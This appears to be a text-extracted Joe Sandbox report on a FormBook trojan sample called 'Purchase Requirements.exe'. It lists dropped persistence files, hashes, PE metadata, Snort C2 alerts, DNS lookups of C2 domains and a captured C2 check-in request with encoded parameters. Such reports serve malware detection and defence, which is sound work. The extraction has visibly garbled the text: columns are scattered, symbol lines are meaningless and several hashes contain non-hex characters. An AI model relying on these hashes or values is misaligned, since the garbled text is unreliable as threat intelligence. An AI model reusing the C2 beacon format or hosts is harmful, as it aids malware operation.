https://view.joesandbox.com/analysis/359212/html/none?idtype=webid
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid
https://view.joesandbox.com/analysis/357761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357761/html/none?idtype=webid
https://view.joesandbox.com/analysis/357694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357694/html/none?idtype=webid
https://view.joesandbox.com/analysis/357669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357669/html/none?idtype=webid
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid

Match

ASN

Match
ONEANDONE-ASBrauerstrasse48DE

GODADDY-AMSDE

JA3 Fingerprints
No context

Dropped Files

No context

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> >
] n
73 7]
o <]
o, Q,
2 2
@ @
- -3
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o o
3 3
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® ®
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® ®
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Get hash

Created |/ dropped Files
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Detection
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 23.227.38.74
e 23.227.38.74
e 23.227.38.74
e 23.227.38.74
e 23.227.38.74
e 23.227.38.74

Context

e 217.160.0.109
e 217.160.0.46
e 217.160.0.157
e 74.208.236.251
e 74.208.236.251
e 217.160.0.129
e 217.160.0.194
e 212.227.15.158
e 82.223.107.237
e 217.76.156.252
e 74.208.236.102
e 217.160.0.194
e 74.208.236.163
e 74.208.5.20

e 217.160.0.106
e 74.208.5.20

e 74.208.236.40
e 217.160.0.254
e 109.228.60.45
e 217.160.0.194

e 160.153.12
9.234

e 160.153.246.81
e 160.153.136.3
e 160.153.246.81
e 160.153.136.3
e 160.153.16.6

e 160.153.20
8.149

e 160.153.136.3
e 160.153.136.3
e 160.153.136.3
e 160.153.136.3
e 160.153.16.6

e 160.153.136.3
e 160.153.133.86
e 160.153.246.81
e 160.153.136.3
e 160.153.136.3
e 160.153.136.3
e 188.121.43.27
e 160.153.136.3
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https://view.joesandbox.com/analysis/357147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357147/html/none?idtype=webid
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid
https://view.joesandbox.com/analysis/357098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357098/html/none?idtype=webid
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid
https://view.joesandbox.com/analysis/356611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356611/html/none?idtype=webid
https://view.joesandbox.com/analysis/359174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359174/html/none?idtype=webid
https://view.joesandbox.com/analysis/359158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359158/html/none?idtype=webid
https://view.joesandbox.com/analysis/359144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359144/html/none?idtype=webid
https://view.joesandbox.com/analysis/359039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359039/html/none?idtype=webid
https://view.joesandbox.com/analysis/358953/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358953/html/none?idtype=webid
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid
https://view.joesandbox.com/analysis/358622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358622/html/none?idtype=webid
https://view.joesandbox.com/analysis/358525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358525/html/none?idtype=webid
https://view.joesandbox.com/analysis/358435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358435/html/none?idtype=webid
https://view.joesandbox.com/analysis/358429/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358429/html/none?idtype=webid
https://view.joesandbox.com/analysis/358428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358428/html/none?idtype=webid
https://view.joesandbox.com/analysis/357668/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357668/html/none?idtype=webid
https://view.joesandbox.com/analysis/357449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357449/html/none?idtype=webid
https://view.joesandbox.com/analysis/356988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356988/html/none?idtype=webid
https://view.joesandbox.com/analysis/356950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356950/html/none?idtype=webid
https://view.joesandbox.com/analysis/356915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356915/html/none?idtype=webid
https://view.joesandbox.com/analysis/356730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356730/html/none?idtype=webid
https://view.joesandbox.com/analysis/356361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356361/html/none?idtype=webid
https://view.joesandbox.com/analysis/356352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356352/html/none?idtype=webid
https://view.joesandbox.com/analysis/356338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356338/html/none?idtype=webid
https://view.joesandbox.com/analysis/359137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359137/html/none?idtype=webid
https://view.joesandbox.com/analysis/358967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358967/html/none?idtype=webid
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid
https://view.joesandbox.com/analysis/358644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358644/html/none?idtype=webid
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid
https://view.joesandbox.com/analysis/358443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358443/html/none?idtype=webid
https://view.joesandbox.com/analysis/357946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357946/html/none?idtype=webid
https://view.joesandbox.com/analysis/357772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357772/html/none?idtype=webid
https://view.joesandbox.com/analysis/357564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357564/html/none?idtype=webid
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid
https://view.joesandbox.com/analysis/357213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357213/html/none?idtype=webid
https://view.joesandbox.com/analysis/356686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356686/html/none?idtype=webid
https://view.joesandbox.com/analysis/356540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356540/html/none?idtype=webid
https://view.joesandbox.com/analysis/356430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356430/html/none?idtype=webid
https://view.joesandbox.com/analysis/356169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356169/html/none?idtype=webid
https://view.joesandbox.com/analysis/356092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356092/html/none?idtype=webid
https://view.joesandbox.com/analysis/356024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356024/html/none?idtype=webid
https://view.joesandbox.com/analysis/355827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355827/html/none?idtype=webid
https://view.joesandbox.com/analysis/355108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355108/html/none?idtype=webid
https://view.joesandbox.com/analysis/354861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354861/html/none?idtype=webid

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Purchase Requirements.exe

ASCII text, with CRLF line terminators

modified

1314

5.350128552078965

false
24:MLUB4JE4AK5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7FE4sAmEW:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
1DC1A2DCC9EFAAB4EABFAF6D6066565B

B7FCF805B6DD8DE815EA9BC089BDI9F1E617FAE9
28D63442C17BF19558655C88A635CB3C3FF1BAD1CCDI9784090B9749A7E71FCEF

95DD7E2AB0884A3EFD9E26033B337D1F97DDFASE9EICAC32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E19180
B7

true

high, very likely benign file

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089","C:\Wind
ows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll*,0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Purchase Requirements.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1645

5.190982278193099

false

24:2dH4+SEqC/S7hbINMFp//rIMhEM|nGpwjplguYODOLDIRJIN7h8gKBGr1tn:cbhK79INQR/rydbz913YODOLNdG3K/

1632FD5738B2BFFOBAG6FF92B00A 75565

AB1AGF4AEDB3B7481F074645BE85937BB9485A92

FF4D4051F9AB9EB29712EC6BACD839F99A7DBBBEESIBE6F6A03D7CFIFAFCEAC29
E4729CDD23A2D0673EA8658CFF8CCO05F7445315735773B431A0D2F9B5DAA0CE616B6AFES2C47DD17A8570D33709B7E79952C69937F2676A7EA3A81069546CD9,

true

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>computer\user</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. ~</RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>computer\user</Userld>.. ~ <LogonType>InteractiveToken</LogonType>..  <RunLevel>LeastPrivilege</RunLevel>.. </Pri
ncipal>.. </Principals>.. <Settings>.. <MultiplelnstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatte
ries>..  <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. ~<StartWhenAvailable>true

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Preview:

C:\Users\user\Desktop\Purchase Requirements.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

774656

7.3718333645387135

false

12288:W7Sx460inbMVOfLMCVvioF2m2qdkQX6tpgWS6fSY TZ5wzTaQ12iN:ISxxHbyOjrnCVoFEe6QY5V5QaQ11
5BD387D81D1D7D7FD4DBEABEBBB46B1B

A832689604786E188BCC5C9020C28F693B2EB460
FE7E173FD8A3D646508573BB2F7EF52F7EFD25A8E2AEF1B754DCF95CEB797F8A

DDD4164C8C94D9B3DA6D78293F148EC39F8128B2A7DE7092EA2EBB42F92D81D3ABE1B6586F8CA4F7F83144F06109EEE93D2409B46E56544D3917BE3EC49B7C2:
C

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 33%

R Ot X 00~ 0 00 ~000 0 < (LI

Process:

File Type:

C:\Users\user\Desktop\Purchase Requirements.exe

ASCII text, with CRLF line terminators
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

dropped

26

3.95006375643621

false

3:ggPYViIrPYV

187F488E27DB4AF347237FE461A079AD

6693BA299EC1881249D59262276A0D2CB21F8E64

255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237COC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64

true

[ZoneTransfer]....Zoneld=0

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.3718333645387135

e Win32 Executable (generic) Net Framework
(10011505/4) 49.80%

e Win32 Executable (generic) a (10002005/4)
49.75%

e Generic CIL Executable (.NET, Mono, etc.)
(73296/58) 0.36%

e Windows Screen Saver (13104/52) 0.07%

e Generic Win/DOS Executable (2004/3) 0.01%

Purchase Requirements.exe

774656

5bd387d81d1d7d7fd4dbeabebbb46blb
a832689604786e188bcc5¢9020c28f693b2eb460

fe7e173fd8a3d646508573bb2f7ef52f7efd25a8e2aeflb75
4dcf95ceb797f8a

ddd4164c8c94d9b3da6d78293f148ec39f8128b2a7de70¢
2ea2ebb42f92d81d3abe1b65868c417{83144f06109eee9
3d2409b46e56544d3917be3ec49b7c24c

12288:W7Sx460inbMVOfLICVvfoF2m2qdkQX6tpgWs
6fSYTZ5wzTaQ12iN:ISxxHbyOjrnCVoFEe6QY5V5QaQ
11

Icon Hash: 00828e8e8686b000

Static PE Info

General

Entrypoint: 0x4be726

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp: 0xF489FAD9 [Sun Jan 3 18:15:53 2100 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major:

OS Version Minor:

Copyright Joe Securi
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General

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE
text 0x2000 0Oxbc72c 0xbc800 False
.rsrc 0xc0000 0x5dc 0x600 False
.reloc 0xc2000 Ooxc 0x200 False
Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
08/03/21- TCP 2031453
19:27:35.354372

08/03/21- TCP 2031449
19:27:35.354372

08/03/21- TCP 2031412
19:27:35.354372

08/03/21- TCP 1201
19:27:35.434939

08/03/21- TCP 2031453
19:27:46.136247

08/03/21- TCP 2031449
19:27:46.136247

08/03/21- TCP 2031412
19:27:46.136247

08/03/21- TCP 1201
19:27:51.497191

08/03/21- TCP 2031453
19:28:01.928576

08/03/21- TCP 2031449
19:28:01.928576

08/03/21- TCP 2031412
19:28:01.928576

08/03/21- TCP 2031453
19:28:07.027830

08/03/21- TCP 2031449
19:28:07.027830

08/03/21- TCP 2031412
19:28:07.027830

08/03/21- TCP 1201

19:28:07.141590

Network Port Distribution

Copyright Joe Security LLC 2021

Message
ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

o ~ O b

f34d5f2d4577ed6d9ceec516¢c1f5a744

ZLIB Complexity
0.772495907245

0.428385416667

0.044921875

File Type

data

data

data

Entropy

7.37998351086

4.16092515581

0.101910425663

Source

Port

49765

49765

49765

80

49769

49769

49769

80

49772

49772

49772

49773

49773

49773

80

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Dest

Port

80

80

80

49765

80

80

80

49770

80

80

80

80

80

80

49773

Source IP
192.168.2.4

192.168.2.4

192.168.2.4

23.227.38.74

192.168.2.4

192.168.2.4

192.168.2.4

34.102.136.180

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

34.102.136.180

Dest IP
23.227.38.74

23.227.38.74

23.227.38.74

192.168.2.4

162.241.85.227

162.241.85.227

162.241.85.227

192.168.2.4

160.153.136.3

160.153.136.3

160.153.136.3

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.4
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TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Aug 3, 2021 19:27:35.279978991 CEST 192.168.2.4 8.8.8.8 Oxb5cf Standard query  www.thefit A (IP address) IN (0x0001)
(0) flect.com
Aug 3, 2021 19:27:40.440021038 CEST 192.168.2.4 8.8.8.8 Oxe40a Standard query ~ www.braun- A (IP address) IN (0x0001)
(0) mathematik
.online
Aug 3, 2021 19:27:45.831993103 CEST 192.168.2.4 8.8.8.8 0x3d5 Standard query  www.marias A (IP address) IN (0x0001)
(0) moworldwid
e.com
Aug 3, 2021 19:27:51.321647882 CEST 192.168.2.4 8.8.8.8 Oxeacc Standard query  www.golden A (IP address) IN (0x0001)
(0) statelabra
doodles.com
Aug 3, 2021 19:27:56.505218029 CEST 192.168.2.4 8.8.8.8 0x2e7b Standard query  www.mynijel A (IP address) IN (0x0001)
(0) derlaw.com
Aug 3, 2021 19:28:01.860449076 CEST 192.168.2.4 8.8.8.8 Oxbd27 Standard query  www.narrow A (IP address) IN (0x0001)
(0) pathwc.com
Aug 3, 2021 19:28:06.971309900 CEST 192.168.2.4 8.8.8.8 0xb7f8 Standard query  www.teamta A (IP address) IN (0x0001)
(0) co0zzzz.com
Aug 3, 2021 19:28:12.162316084 CEST 192.168.2.4 8.8.8.8 0x498e Standard query ~ www.thered A (IP address) IN (0x0001)
(0) cymbalsco.com
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Aug 3, 2021 8.8.8.8 192.168.2.4 0Oxb5cf No error (0) www.thefit shops.myshopify.com CNAME IN (0x0001)
19:27:35.329180956 flect.com (Canonical
CEST name)
Aug 3, 2021 8.8.8.8 192.168.2.4 Oxb5cf No error (0) shops.mysh 23.227.38.74 A (IP address)  IN (0x0001)
19:27:35.329180956 opify.com
CEST
Aug 3, 2021 8.8.8.8 192.168.2.4 Oxe40a No error (0) www.braun- 217.160.0.129 A (IP address)  IN (0x0001)
19:27:40.485950947 mathematik
CEST .online
Aug 3, 2021 8.8.8.8 192.168.2.4 0x3d5 No error (0) www.marias mariasmoworldwide.com CNAME IN (0x0001)
19:27:45.993046999 moworldwid (Canonical
CEST e.com name)
Aug 3, 2021 8.8.8.8 192.168.2.4 0x3d5 No error (0) mariasmowo 162.241.85.227 A (IP address)  IN (0x0001)
19:27:45.993046999 ridwide.com
CEST
Aug 3, 2021 8.8.8.8 192.168.2.4 Oxeacc No error (0) www.golden goldenstatelabradoodles. CNAME IN (0x0001)
19:27:51.360105038 statelabra com (Canonical
CEST doodles.com name)
Aug 3, 2021 8.8.8.8 192.168.2.4 Oxeacc No error (0) goldenstat 34.102.136.180 A (IP address)  IN (0x0001)
19:27:51.360105038 elabradood
CEST les.com
Aug 3, 2021 8.8.8.8 192.168.2.4 0x2e7b No error (0) www.mynjel 74.208.236.212 A (IP address)  IN (0x0001)
19:27:56.552784920 derlaw.com
CEST
Aug 3, 2021 8.8.8.8 192.168.2.4 0xbd27 No error (0) WwWw.narrow narrowpathwc.com CNAME IN (0x0001)
19:28:01.900547028 pathwc.com (Canonical
CEST name)
Aug 3, 2021 8.8.8.8 192.168.2.4 Oxbd27 No error (0) narrowpath 160.153.136.3 A (IP address)  IN (0x0001)
19:28:01.900547028 we.com
CEST
Aug 3, 2021 8.8.8.8 192.168.2.4 0xb7f8 No error (0) www.teamta teamtacozzzz.com CNAME IN (0x0001)
19:28:07.008965969 c0zzzz.com (Canonical
CEST name)
Aug 3, 2021 8.8.8.8 192.168.2.4 0xb7f8 No error (0) teamtacozz 34.102.136.180 A (IP address)  IN (0x0001)
19:28:07.008965969 zz.com
CEST
Aug 3, 2021 8.8.8.8 192.168.2.4 0x498e No error (0) www.thered theredcymbalsco.com CNAME IN (0x0001)
19:28:12.199184895 cymbalsco.com (Canonical
CEST name)
Aug 3, 2021 8.8.8.8 192.168.2.4 0x498e No error (0) theredcymb 184.168.131.241 A (IP address)  IN (0x0001)
19:28:12.199184895 alsco.com
CEST

HTTP Request Dependency Graph
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* www.thefitflect.com

e www.braun-mathematik.online

e www.mariasmoworldwide.com

e www.goldenstatelabradoodles.com

* www.mynjelderlaw.com

* www.narrowpathwc.com

e www.teamtacozzzz.com

e www.theredcymbalsco.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.4 49765 23.227.38.74 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Aug 3, 2021 7506 ouT GET /n8ba/?YDKPpTg0=0vBVP1Su9fWFYOUPkW0anmpJMImMANCcukNJzgBj3kCnMbGPnYONffSN4AEc4XgmlqGLmb&F
19:27:35.354372025 CEST Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.thefitflect.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Aug 3, 2021 7507 IN HTTP/1.1 403 Forbidden
19:27:35.434938908 CEST Date: Tue, 03 Aug 2021 17:27:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: -1

X-Request-ID: b76a7661-5d65-4783-b7ab-d1f31283352¢

X-XSS-Protection: 1; mode=block

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-Permitted-Cross-Domain-Policies: none

X-Dc: gcp-europe-westl

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 679141ee0b9fc286-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢C
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 32 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e3572656d3b6d61 726769 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73

Data Ascii: 141d<IDOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0thtmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
